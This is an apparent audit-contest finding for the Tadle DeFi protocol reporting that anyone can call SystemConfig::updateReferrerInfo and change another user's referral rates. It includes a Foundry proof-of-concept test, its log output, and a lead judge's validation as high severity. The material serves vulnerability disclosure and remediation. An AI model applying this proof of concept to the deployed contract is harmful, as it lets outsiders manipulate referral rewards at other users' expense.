Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Anyone can call SystemConfig::updateReferrerInfo(), except referrer

Summary

Anyone can call SystemConfig::updateReferrerInfo(). Other users can change and manipulate values referrerRate, authorityRatefor referrer.

Proof of Code

Add this test to PreMarkets.t.sol

function test_anyoneCanCallUpdateReferrerInfo() public{
vm.startPrank(user1); //user1 is owner of systemConfig
systemConfig.updateReferrerInfo(user, baseReferralRate, 0);
systemConfig.updateReferralExtraRateMap(user, 100_000);
vm.stopPrank();
vm.prank(user2);
systemConfig.updateReferrerInfo(user, 350_000, 50_000);
console2.log(systemConfig.getReferralInfo(user).referrerRate);
vm.prank(user3);
systemConfig.updateReferrerInfo(user, 320_000, 80_000);
console2.log(systemConfig.getReferralInfo(user).referrerRate);
}

and run forge test --mt test_anyoneCanCallUpdateReferrerInfo -vvv

Output log

Logs:
350000
320000

User2 and User3 was able to change referrer values for User.

Impact

Medium

Tools Used

Manual review, foundry

Recommendations

Adjust access modifier for function SystemConfig::updateReferrerInfo

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-SystemConfig-updateReferrerInfo-msgSender

Valid high severity. There are two impacts here due to the wrong setting of the `refferalInfoMap` mapping. 1. Wrong refferal info is always set, so the refferal will always be delegated to the refferer address instead of the caller 2. Anybody can arbitrarily change the referrer and referrer rate of any user, resulting in gaming of the refferal system I prefer #1500 description the most, be cause it seems to be the only issue although without a poc to fully describe all of the possible impacts

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.